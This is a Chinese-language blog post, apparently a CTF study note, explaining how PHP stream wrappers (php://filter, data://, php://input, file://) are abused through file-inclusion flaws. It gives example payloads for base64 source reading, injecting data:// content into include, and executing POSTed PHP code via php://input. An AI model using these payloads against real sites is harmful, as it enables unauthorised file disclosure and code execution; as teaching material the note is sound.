php伪协议
本文最后更新于 2025年1月23日 下午
PHP 文件处理与协议流
1. php://filter 协议
php://filter 可以获取指定文件的源码。当它与包含函数结合时,php://filter 流会被当作 PHP 文件执行。为了避免执行,通常对其进行编码,从而实现任意文件读取。
语法
1 | |
示例
-
Base64 编码读取文件内容:
1
php://filter/read=convert.base64-encode/resource=index.php返回的数据是 Base64 编码后的文件内容。
-
直接读取文件内容:
1
php://filter/resource=index.php返回未编码的原始文件内容。
2. data:// 协议
data:// 是一种数据流封装器,用于传递相应格式的数据。当它与包含函数(如 include)结合时,用户输入的 data:// 流会被当作 PHP 文件执行。
语法
1 | |
示例
-
Base64 编码数据:
1
data://text/plain;base64,SSBsb3ZlIFBIUAo=解码后为:
I love PHP。 -
普通文本数据:
1
data://text/plain,welcome to the zjctf直接显示:
welcome to the zjctf。
3. php://input 协议
当遇到 file_get_contents() 函数时,可以使用 php://input 绕过。php://input 可以访问请求的原始数据的只读流,将 POST 请求的数据当作 PHP 代码执行。
使用场景
- 当传入的参数作为文件名打开时,可以将参数设为
php://input,同时 POST 想要设置的文件内容。PHP 执行时会将 POST 内容当作文件内容,从而导致任意代码执行。
示例
-
请求 URL:
1
http://127.0.0.1/cmd.php?cmd=php://input -
POST 数据:
1
<?php phpinfo(); ?>
4. file:// 协议
file:// 用于访问本地文件系统。
语法
1 | |
示例
1 | |
总结
| 协议 | 用途 | 示例 |
|---|---|---|
php://filter |
读取文件内容,支持编码 | php://filter/read=convert.base64-encode/resource=index.php |
data:// |
传递数据流,支持编码 | data://text/plain;base64,SSBsb3ZlIFBIUAo= |
php://input |
读取 POST 请求的原始数据 | http://127.0.0.1/cmd.php?cmd=php://input + POST <?php phpinfo();?> |
file:// |
访问本地文件系统 | file://D:/flag.txt |
php伪协议
http://page.ccnyy.top/2025/01/21/php伪协议/